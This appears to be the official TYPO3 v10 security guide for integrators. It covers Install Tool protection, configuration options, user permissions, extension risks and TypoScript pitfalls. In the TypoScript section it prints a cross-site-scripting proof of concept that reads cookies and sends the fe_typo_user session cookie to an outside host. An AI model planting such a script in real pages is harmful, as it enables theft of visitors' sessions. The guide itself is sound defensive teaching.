Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Guidelines for TYPO3 Integrators

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Role definition

A TYPO3 integrator develops the template for a website, selects, imports, installs and configures extensions and sets up access rights and permissions for editors and other backend users. An integrator usually has "administrator" access to the TYPO3 system, should have a good knowledge of the general architecture of TYPO3 (frontend, backend, extensions, TypoScript, TSconfig, etc.) and should be able to configure a TYPO3 system properly and securely.

Integrators know how to use the Install Tool, the meaning of configurations in typo3conf/LocalConfiguration.php and the basic structure of files and directories used by TYPO3.

The installation of TYPO3 on a web server or the configuration of the server itself is not part of an integrator's duties but of a system administrator. An integrator does not develop extensions but should have basic programming skills and database knowledge.

The TYPO3 integrator knows how to configure a TYPO3 system, handed over from a system administrator after the installation. An integrator usually consults and trains editors (end-users of the system, e.g. a client) and works closely together with system administrators.

The role of a TYPO3 integrator often overlaps with a system administrator and often one person is in both roles.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

General rules

All general rules for a system administrator also apply for a TYPO3 integrator. One of the most important rules is to change the username and password of the "admin" account immediately after a TYPO3 system was handed over from a system administrator to an integrator, if not already done. The same applies to the Install Tool password, see below.

In addition, the following general rules apply for a TYPO3 integrator:

1. Ensure backend users only have the permissions they need to do their work, nothing more – and especially no administrator privileges, see explanations below.

2. Ensure, the TYPO3 sites they are responsible for, always run a stable and secure TYPO3 core version and always and only contain secure extensions (integrators update them immediately if a vulnerability has been discovered).

3. Stay informed about TYPO3 core updates. Integrators should know the changes when new TYPO3 major versions are released and should be aware of the impacts and risks of an update.

4. Integrators check for extension updates regularly and/or they know how to configure a TYPO3 system to notify them about new extension versions.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Install Tool

The Install Tool allows you to configure the TYPO3 system on a very low level, which means, not only the basic settings but also the most essential settings can be changed. You do not necessarily need a TYPO3 backend account to access the Install Tool, so it is clear that the Install Tool requires some special attention (and protection).

TYPO3 already comes with a two step mechanism out-of-the-box to protect the Install Tool against unauthorized access: the first measure is a file called ENABLE_INSTALL_TOOL which must exist if the Install Tool should be accessible. The second mechanism is a password protection, which is independent of all backend user passwords.

The Install Tool can be found as a stand alone application via https://example.org/typo3/install.php. It also integrates with the backend, but is only available for logged in users with administrator privileges.

The ENABLE_INSTALL_TOOL file can be created by putting an empty file into the config directory. You usually need write access to this directory on a server level (for example via SSH, SFTP, etc.) or you can create this file as a backend user with administrator privileges.

Conversely, this also means, you should delete this file as soon as you do not need to access the Install Tool any more. It should also be mentioned that TYPO3 deletes the ENABLE_INSTALL_TOOL file automatically if you logout of the Install Tool or if the file is older than 60 minutes (expiry time). Both features can be deactivated if the content of this file is KEEP_FILE, which is understandably not recommended.

The password for accessing the Install Tool is stored using the configured password hash mechanism set for the backend in the global configuration file typo3conf/LocalConfiguration.php:

'BE' => 'installToolPassword' = '$P$CnawBtpk.D22VwoB2RsN0jCocLuQFp.'

Since TYPO3 version 6.2, the Install Tool password is set during the installation process. This means, in the case that a system administrator hands over the TYPO3 instance to you, it should also provide you with the appropriate password.

The first thing you should do, after taking over a new TYPO3 system from a system administrator, is to change the password to a new and secure one. Log-in to the Install Tool and change it there.

Since TYPO3 v9, the role of system maintainer has been introduced. It allows for selected BE users to access the Install Tool components from within the Backend without further security measures. The number of system maintainers should be as small as possible to mitigate the risks of corrupted accounts.

The role can be provided in the Settings Section of the Install Tool -> Manage System Maintainers. It is also possible to manually modify the list by adding or removing the be_users.uid of the user in LocalConfiguration.php:

'SYS' => 'SystemMaintainers' => [1, 7, 36]

For additional security, the folders typo3/install and typo3/sysext/install can be deleted, or password protected on a server level (e.g. by a web server's user authentication mechanism). Please keep in mind that these measures have an impact on the usability of the system. If you are not the only person who uses the Install Tool, you should definitely discuss your intention with the team.

TYPO3 core updates

Since TYPO3 CMS 6.2, the Install Tool allows integrators to update the core of TYPO3 with a click of a button. This feature can be found under "Important actions" and it checks/installs revision updates only (e.g. bug fixes and security updates).

It should be noted that this feature can be disabled by an environment variable:

TYPO3_DISABLE_CORE_UPDATER=1

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Encryption key

The encryptionKey can be found in the Install Tool (module Settings > Configure Installation-Wide Options). This string, usually a hexadecimal hash value of 96 characters, is used as the "salt" for various kinds of encryption, check sums and validations (e.g. for the cHash). Therefore, a change of this value invalidates temporary information, cache content, etc. and you should clear all caches after you changed this value in order to force the rebuild of this data with the new encryption key.

Keep in mind that this string is security-related and you should keep it in a safe place.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Global TYPO3 configuration options

The following configuration options are accessible and changeable via the Install Tool (recommended way) or directly in the file typo3conf/LocalConfiguration.php. The list below is in alphabetical order - not in the order of importance (all are relevant but the usage depends on your specific site and requirements).

cookieSecure

This configuration should be used in combination with lockSSL. It indicates that the cookie should only be transmitted over a secure HTTPS connection between client and server. Possible values are: 0, 1 and 2 (integer) with the following meaning:

0

A cookie is always sent, independently from which protocol is used currently. This is the default setting.

1

The cookie will only be set if a secure connection exists (HTTPS). Use this in combination with lockSSL since otherwise the application will fail and throw an exception.

2

The cookie will be set in each case, but uses the secure flag if a secure (HTTPS) connection exists.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure']

displayErrors

This configuration option controls whether PHP errors should be displayed or not (information disclosure). Possible values are: -1, 0, 1 (integer) with the following meaning:

-1

This overrides the PHP setting display_errors. If devIPmask matches the user's IP address the configured debugExceptionHandler is used for exceptions, if not, productionExceptionHandler will be used. This is the default setting.

0

This suppresses any PHP error messages, overrides the value of exceptionalErrors and sets it to 0 (no errors are turned into exceptions), the configured productionExceptionHandler is used as exception handler.

1

This shows PHP error messages with the registered error handler. The configured debugExceptionHandler is used as exception handler.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']

devIPmask

Defines a comma-separated list of IP addresses which will allow development-output to display (information disclosure). The debug() function will use this as a filter. Setting this to a blank value will deny all (recommended for a production site). Setting this to * will show debug messages to every client without any restriction (definitely not recommended). The default value is 127.0.0.1,::1 which means "localhost" only.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']`

enabledBeUserIPLock

If this configuration is enabled (value 1), backend user accounts can be locked to specific IP addresses by using user/group TSconfig. Possible values are: 0 or 1 (boolean), where 0 deactivates the option and 1 enables it (default).

In order to lock a specific user to the IP address 123.45.67.89, add the following TSconfig to the backend user's TSconfig field:

options.lockToIP = 123.45.67.89

The use of wildcards is also possible to specify a network instead – please see TSconfig documentation for further explanations on how to use the lockToIP option.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['enabledBeUserIPLock']

fileDenyPattern

The fileDenyPattern is a perl-compatible regular expression that (if it matches a file name) will prevent TYPO3 from accessing or processing this file (deny uploading, renaming, etc). For security reasons, PHP files as well as Apache's .htaccess file should be included in this regular expression string. The default value is: \\.(php[3-7]?|phpsh|phtml|pht)(\\..*)?$|^\\.htaccess$, initially defined in constant FILE_DENY_PATTERN_DEFAULT.

There are only a very few scenarios imaginable where it makes sense to allow access to those files. In most cases backend users such as editors must not have the option to upload/edit PHP files or other files which could harm the TYPO3 instance when misused. Even if you trust your backend users, keep in mind that a less-restrictive fileDenyPattern would enable an attacker to compromise the system if it only gained access to the TYPO3 backend with a normal, unprivileged user account.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']

lockIP / lockIPv6

If a frontend or backend user logs into TYPO3, the user's session can be locked to its IP address. The lockIP configuration for IPv4 and lockIPv6 for IPv6 control how many parts of the IP address have to match with the IP address used at authentication time.

Attention

IP locking breaks modern IPv6 setups because of the Fast Fallback aka. Happy Eyeballs algorithm that can cause users to jump between IPv4 and IPv6 arbitrarily. Enabling an IP lock should be a very conscious decision. Therefore, this is disabled by default.

Possible values for IPv4 are: 0, 1, 2, 3 or 4 (integer) with the following meaning:

0

Disable IP locking entirely.

1

Only the first part of the IPv4 address needs to match, e.g. 123.xxx.xxx.xxx.

2

Only the first and second part of the IPv4 address need to match, e.g. 123.45.xxx.xxx.

3

Only the first, second and third part of the IPv4 address need to match, e.g. 123.45.67.xxx.

4

The complete IPv4 address has to match (e.g. 123.45.67.89).

Possible values for IPv6 are: 0, 1, 2, 3, 4, 5, 6, 7, 8 (integer) with the following meaning:

0

Disable IP locking entirely.

1

Only the first block (16 bits) of the IPv6 address needs to match, e.g. 2001:

2

The first two blocks (32 bits) of the IPv6 address need to match, e.g. 2001:0db8.

3

The first three blocks (48 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3

4

The first four blocks (64 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3

5

The first five blocks (80 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319

6

The first six blocks (96 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e

7

The first seven blocks (112 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370

8

The full IPv6 address has to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370:7344

If your users experience that their sessions sometimes drop out, it might be because of a changing IP address (this may happen with dynamic proxy servers for example) and adjusting this setting could address this issue. The downside of using a lower value than the default is a decreased level of security.

Keep in mind that the lockIP and lockIPv6 configurations are available for frontend (['FE']['lockIP'] and ['FE']['lockIPv6']) and backend (['BE']['lockIP'] and ['BE']['lockIPv6']) sessions separately, so four PHP variables are available:

• $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']

• $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']

• $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']

• $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']

lockSSL

As described in encrypted client/server communication, the use of https:// scheme for the backend and frontend of TYPO3 drastically improves the security. The lockSSL configuration controls if the backend can only be operated from a SSL- encrypted connection (HTTPS). Possible values are: true, false (boolean) with the following meaning:

• false: The backend is not forced to SSL locking at all (default value)

• true: The backend requires a secure connection HTTPS.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']

IPmaskList

Some TYPO3 instances are maintained by a selected group of integrators and editors who only work from a specific IP range or (in an ideal world) from a specific IP address only. This could be for example an office network with a static public IP address. In this case, or in any case where client's IP addresses are predictable, the IPmaskList configuration may be used to limit the access to the TYPO3 backend.

The string configured as IPmaskList is a comma-separated list of IP addresses which are allowed to access the backend. The use of wildcards is also possible to specify a network. The following example opens the backend for users with the IP address 123.45.67.89 and from the network 192.168.xxx.xxx:

[BE][IPmaskList] = 123.45.67.89,192.168.*.*

The default value is an empty string.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList']

trustedHostsPattern

TYPO3 uses the HTTP header Host: to generate absolute URLs in several places such as 404 handling, http(s) enforcement, password reset links and many more. Since the host header itself is provided by the client, it can be forged to any value, even in a name based virtual hosts environment.

The trustedHostsPattern" configuration option can contain either the value `SERVER_NAME or a regular expression pattern that matches all host names that are considered trustworthy for the particular TYPO3 installation. SERVER_NAME is the default value and with this option value in effect, TYPO3 checks the currently submitted host-header against the SERVER_NAME variable. Please see security bulletin TYPO3-CORE-SA-2014-001 for further details about specific setups.

If the Host: header also contains a non-standard port, the configuration must include this value, too. This is especially important for the default value SERVER_NAME as provided ports are checked against SERVER_PORT which fails in some more complex load balancing or SSL termination scenarios.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']`

warning_email_addr

The email address defined here will receive notifications, whenever an attempt to login to the Install Tool is made. TYPO3 will also send a warning whenever more than three failed backend login attempts (regardless of the user) are detected within one hour.

The default value is an empty string.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']

warning_mode

This setting specifies if mails should be sen to warning_email_addr upon successful backend user login.

The value in an integer:

0

Do not send notification-emails upon backend-login (default)

1

Send a notification-email every time a backend user logs in

2

Send a notification-email every time an admin backend user logs in

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Security-related warnings after login

A TYPO3 integrator is responsible for the correct configuration of the TYPO3 system. Usually, an integrator has administrator privileges and logs in to the backend from time to time or regularly. If a user with administrator privileges accesses the system, TYPO3 triggers some basic system checks and shows an error or warning message in a box right after the login.

These checks are for example: administrator user name and password (e.g. does the user still use the default password?), Install Tool password, etc.

If you, as an TYPO3 integrator, should ever come across those warnings, react immediately and update the appropriate setting (e.g. change the password).

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Reports and Logs

Two backend modules in TYPO3 require special attention: Reports and Log:

The Reports module groups several system reports and gives you a quick overview about important system statuses and site parameters. From a security perspective, the section Security should be checked regularly: it provides information about the administrator user account, encryption key, file deny pattern, Install Tool and more.

The second important module is the Logs module, which lists system log entries. The logging of some events depends on the specific configuration but in general every backend user login/logout, failed login attempts, etc. appear here. It is recommended to check for security-related entries (column Errors).

The information shown in these (and other) modules are senseless of course, in cases where a compromised system was manipulated in the way that incorrect details pretend the system status is OK.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Users and access privileges

Backend

TYPO3 offers a very sophisticated and complex access concept: you can define permissions on a user-level, on a group-level, on pages, on functions, on DB mounts, even on content elements and more. This concept is possibly a little bit complicated and maybe overwhelming if you have to configure it for the first time in your integrator life, but you will soon appreciate the options a lot.

As the first rule, you should grant backend users only a minimal set of privileges, only to those functions they really need. This will not only make the backend easier for them to use, but also makes the system more secure. In most cases, an editor does not need to enter any PHP, JavaScript or HTML code, so these options should be disabled. You also should restrict access to pages, DB mounts, file mounts and functions as much as possible. Note that limiting access to pages by using DB mounts only is not the best way. In order to really deny access, page permissions need to be set correctly.

It is always a good approach to set these permissions on a group level (for example use a group such as "editors"), so you can simply create a new user and assign this user to the appropriate group. It is not necessary to update the access privileges for every user if you want to adjust something in the future – simply update the group's permissions instead.

When creating a new user, do not use generic user names such as "editor", "webmaster", "cms" or similar. You should use real names instead (e.g. first name + dot + last name). Always remember the guidelines for choosing a secure password when you set a password for a new user or update a password for an existing user (set a good example and inform the new user about your policies).

If backend users will leave the project at a known date, for example students or temporary contractors, you should set an expiration date when you create their accounts. Under certain circumstances, it possibly makes sense to set this "stop" date for every user in general, e.g. 6 months in the future. This forces the administrator team to review the accounts from time to time and only extend the users that are allowed to continue using the system.

Frontend

Access to pages and content in the TYPO3 frontend can be configured with frontend user groups. Similar suggestions like for backend users also apply here.

There are two special options in addition to frontend user groups:

• Hide at login: hide page/content as soon as a user is logged in into the frontend, no matter which groups he belongs to.

• Show at any login: show page/content as soon as a user is logged in.

The option Show at any login should be used with care since it permits access to any user regardless of it's user groups and storage location. This means that for multi-site TYPO3 instances users are able to log in to other sites under certain circumstances.

Thus the correct solution is to always prefer explicit user groups instead of the Show at any login option.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

TYPO3 extensions

As already mentioned above, most of the security issues have been discovered in TYPO3 extensions, not in the TYPO3 core. Due to the fact that everybody can publish an extension in the TYPO3 repository, you never know how savvy and experienced the programmer is and how the code was developed from a security perspective.

The following sections deal with extensions in general, the risks and the basic countermeasures to address security related issues.

Stable and reviewed extensions

Only a small percentage of the extensions available in the TER have been reviewed by the TYPO3 Security team. This does not imply that extensions without such an audit are insecure, but they probably have not been checked for potential security issues by an independent 3rd party (such as the TYPO3 Security Team).

The status of an extension (alpha, beta, stable, etc.) should also give you an indication in which state the developer claims the extension is. However, this classification is an arbitrary setting by the developer and may not reflect the real status and/or opinions of independent parties.

Always keep in mind that an extension may not perform the functionality that it pretends to do: An attacker could write an extension that contains malicious code or functions and publish it under a promising name. It is also possible that a well-known, harmless extension will be used for an attack in the future by introducing malicious code with an update. In a perfect world, every updated version would be reviewed and checked, but it is understandable that this approach is unlikely to be practical in most installations.

Following the guidelines listed below would improve the level of security, but the trade-off would be more effort in maintaining your website and a delay of updating existing extensions, which would possibly be against the react quickly paradigm. Thus, it depends on the specific case and project, and the intention of listing the points below is more to raise the awareness of possible risks.

• Do not install extensions or versions marked as alpha or obsolete: The developer classified the code as a early version, preview, prototype, proof-of-concept and/or as not maintained – nothing you should install on a production site.

• Be very careful when using extensions or versions marked as beta: According to the developer, this version of the extension is still in development, so it is unlikely that any security-related tests or reviews have been undertaken so far.

• Be careful with extensions and versions marked as stable, but not reviewed by the TYPO3 Security Team.

• Check every extension and extension update before you install it on a production site and review it in regards to security, see Use staging servers for developments and tests.

Executable binaries shipped with extensions

TYPO3 extensions (.t3x files) are packages, which may contain any kind of data/files. This can not only be readable PHP or Javascript source code, but also binary files, e.g. Unix/Linux ELF files or Microsoft Windows .exe files (compiled executables).

Executing these files on a server is a security risk, because it can not be verified what these files really do (unless they are reverse-engineered or dissected likewise). Thus it is highly recommended not to use any TYPO3 extensions, which contain executable binaries. Binaries should only come from trusted and/or verified sources such as the vendor of your operating system - which also ensures, these binaries get updated in a timely manner, if a security vulnerability is discovered in these components.

Remove unused extensions and other code

TYPO3 distinguishes between "imported" and "loaded" extensions. Imported extensions exist in the system and are ready to be integrated into TYPO3 but they are not installed yet. Loaded extensions are available for being used (or are being used automatically, depending on their nature), so they are "installed".

A dangerous and loaded extension is able to harm your system in general because it becomes part of the system (functions are integrated into the system at runtime). Even extensions which are not loaded (but only "imported") include a kind of risk because their code may contain malicious or vulnerable functions which in theory could be used to attack the system.

As a general rule, it is highly recommended you remove all code from the system that is not in use. This includes TYPO3 extensions, any TypoScript (see below), PHP scripts as well as all other functional components. In regards to TYPO3 extensions, you should remove unused extensions from the system (not only unload/deinstall them). The Extension Manager offers an appropriate function for this - an administrator backend account is required.

Low-level extensions

So called "low-level" extensions provide "questionable" functionality to a level below what a standard CMS would allow you to access. This could be for example direct read/write access to the file system or direct access to the database (see Guidelines for System Administrators: Database access). If a TYPO3 integrator or a backend user (e.g. an editor) depends on those extensions, it is most likely that a misconfiguration of the system exists in general.

TYPO3 extensions like phpMyAdmin, various file browser/manager extensions, etc. may be a good choice for a development or test environment but are definitely out of place at production sites.

Extensions that allow editors to include PHP code must be avoided, too.

Check for extension updates regularly

The importance of the knowledge that security updates are available has been discussed above (see TYPO3 security-bulletins). It is also essential to know how to check for extension updates: the Extension Manager (EM) is a TYPO3 backend module accessible for backend users with administrator privileges. A manual check for extension updates is available in this module.

The EM uses a cached version of the extension list from the TYPO3 Extension Repository (TER) to compare the extensions currently installed and the latest versions available. Therefore, you should retrieve an up-to-date version of the extension list from TER before checking for updates.

If extension updates are available, they are listed together with a short description of changes (the "upload comment" provided by the extension developers) and you can download/install the updates if desired. Please note that under certain circumstances, new versions may behave differently and a test/review is sometimes useful, depending on the nature and importance of your TYPO3 instance. Often a new version of an extension published by the developer is not security-related.

A scheduler task is available that lets you update the extension list automatically and periodically (e.g. once a day). In combination with the task "System Status Update (reports)", it is possible to get a notification by email when extension updates are available.

Security-related core extensions

Deprecated since version 9.1: The extension rsaauth was deprecated in TYPO3 9.1. Please see the related changelog Deprecation: #81852 - Deprecated Usage of EXT:rsaauth for more information.

Other security-related extensions

TYPO3 extensions which are not part of the core (and so are not official system extensions) are out of scope of this document, due to the fact that this Security Guide focuses on a TYPO3 standard setup.

However, there is a wide range of very useful TYPO3 extensions available in the TYPO3 Extension Repository (TER) which increase the level of security and/or support system administrators and TYPO3 integrators to monitor their TYPO3 installations, check for security-related issues, access additional reports and be notified in various ways.

Searching for relevant keywords such as "security", "monitoring" or a specific technology (e.g. "intrusion detection") or a security threat (e.g. "XSS", "SQL injection") or similar shows some results, which could be reviewed and tested.

Please note that these extensions are often not developed/maintained by TYPO3 core developers and the code quality may vary. Also, check for extensions reviewed by the Security Team and the date of the last update.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

TypoScript

SQL injection

The CWE/SANS list of top 25 most dangerous software errors ranks "SQL injection" first! The TYPO3 Security Team comes across this security vulnerability in TYPO3 extensions over and over again.

On the PHP side, this situation improved a lot in TYPO3 with the doctrine API using prepared statements with createNamedParameter(), quoteIdentifier() and escapeLikeWildcards().

But TYPO3 integrators (and everyone who writes code using TypoScript) should be warned that due to the sophistication of TYPO3's configuration language, SQL injections are also possible in TypoScript, for example using the CONTENT content object and building the SQL query with values from the GET/POST request.

The following code snippet gives an example:

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###PAGEID###
    markers {
        PAGEID.data = GP:pageid
    }
  }
}

Argument passed by the GET / POST request pageid wrapped as markers are properly escaped and quoted to prevent SQL injection problems.

See TypoScript Reference for more information.

As a rule, you cannot trust (and must not use) any data from a source you do not control without proper verification and validation (e.g. user input, other servers, etc.).

Cross-site scripting (XSS)

Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS &#43; TypoScript - proof of concept</h1>
    <p>Submitting (harmless) cookie data to google.com in a few seconds...</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'https://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}

TYPO3 outputs the JavaScript code in page.10.20.value on the page. The script is executed on the client side (in the user's browser), reads and displays all cookie name/value pairs. In the case that a cookie named fe_typo_user exists, the cookie value will be passed to google.com, together with some extra data.

This code snippet is harmless of course but it shows how malicious code (e.g. JavaScript) can be placed in the HTML content of a page by using TypoScript.

External file inclusion

TYPO3 allows to include external files which implement TypoScript code. Some integrators appreciate the option of having TypoScript outside of TYPO3's backend because the files can be maintained in a version control system and/or can be edited without the need to login to TYPO3. A typical line to include an external TypoScript file looks like this:

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">

It is obvious that this method introduces some serious security risks: first, the file myConfig.typoscript exists in a publicly accessible path of the web server. Without any further protection, everyone who knows or is able to guess the path/file name can access/download this file which often causes an information disclosure.

In order to deny access to all files with the file ending .typoscript, the following Apache configuration could be used:

<FilesMatch "\.typoscript">
  deny from all
</FilesMatch>

However, external TypoScript files have another vulnerability: in the case that an attacker manages to manipulate these files (e.g. via a compromised FTP account), it is possible to compromise the TYPO3 system or to place malicious code (e.g. XSS) in the output of the pages generated by the CMS. This attack scenario even does not require access to the TYPO3 backend.

TYPO3 editors must never be able to edit externally included TypoScript files, since this will have the same impact as the previous attack scenario (e.g. in case of a compromised editor account).

Note

Having TypoScript files within fileadmin/ is bad for other reasons, too: fileadmin/ is for content only, managed by editors, but TypoScript as well as HTML templates, JavaScript, CSS and other types of files are "system" or "project" files and not content. All this should be placed in an instance specific "project" extension.

Clickjacking

Clickjacking is an attack scenario where an attacker tricks a web user into clicking on a button or following a link different from what the user believes he/she is clicking on. Please see clickjacking for further details. It may be beneficial to include a HTTP header X-Frame-Options on frontend pages to protect the TYPO3 website against this attack vector. Please consult with your system administrator about pros and cons of this configuration.

The following TypoScript adds the appropriate line to the HTTP header:

config.additionalHeaders = X-Frame-Options: SAMEORIGIN

Integrity of external JavaScript files

The TypoScript property integrity has been introduced with TYPO3 v7. This configuration allows integrators to specify a SRI hash in order to allow a verification of the integrity of externally hosted JavaScript files. SRI (Sub-Resource Integrity) is a W3C specification that allows web developers to ensure that resources hosted on third-party servers have not been tampered with.

The TypoScript property can be used for the following PAGE properties:

• page.includeJSLibs

• page.includeJSFooterlibs

• includeJS

• includeJSFooter

A typical example in TypoScript looks like:

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}

Risk of externally hosted JavaScript libraries

In many cases, it makes perfect sense to include JavaScript libraries, which are externally hosted. Like the example above, many libraries are hosted by CDN providers (Content Delivery Network) from an external resource rather than the own server or hosting infrastructure. This approach reduces the load and traffic of your own server and may speed up the loading time for your end-users, in particular if well-known libraries are used.

However, JavaScript libraries of any kind and nature, for example feedback, comment or discussion forums, as well as user tracking, statistics, additional features, etc. which are hosted somewhere, can be compromised, too.

If you include a JavaScript library that is hosted under https://example.org/js/feedback.js and the systems of operator of example.org are compromised, your site and your site visitors are under risk, too.

JavaScript running in the browser of your end-users is able to intercept any input, for example sensitive data such as personal details, credit card numbers, etc. From a security perspective, it it recommended to either not to use externally hosted JavaScript files or to only include them on pages, where necessary. On pages, where users enter data, they should be removed.

Attention

TYPO3 v10 has reached end-of-life as of April 30th 2023 and is no longer being maintained. Use the version switcher on the top left of this page to select documentation for a supported version of TYPO3.

Need more time before upgrading? You can purchase Extended Long Term Support (ELTS) for TYPO3 v10 here: TYPO3 ELTS.

Content elements

Note

This section is outdated and needs an update.

Besides the low-level extensions, there are also system-internal functions available which could allow the insertion of raw HTML code on pages: the content element "Plain HTML" and the Rich Text Editor (RTE).

A properly configured TYPO3 system does not require editors to have any programming or HTML/CSS/JavaScript knowledge and therefore the "raw HTML code" content element is not really necessary. Besides this fact, raw code means, editors are also able to enter malicious or dangerous code such as JavaScript that may harm the website visitor's browser or system.

Even if editors do not insert malicious code intentionally, sometimes the lack of knowledge, expertise or security awareness could put your website at risk.

Depending on the configuration of the Rich Text Editor (RTE), it is also possible to enter raw code in the text mode of the RTE. Given the fact that HTML/CSS/JavaScript knowledge is not required, you should consider disabling the function by configuring the buttons shown in the RTE. The Page TSconfig enables you to list all buttons visible in the RTE by using the following TypoScript:

RTE.default {
  showButtons = ...
  hideButtons = ...
}

In order to disable the button "toggle text mode", add "chMode" to the hideButtons list. The TSconfig/RTE (Rich Text Editor) documentation provide further details about configuration options.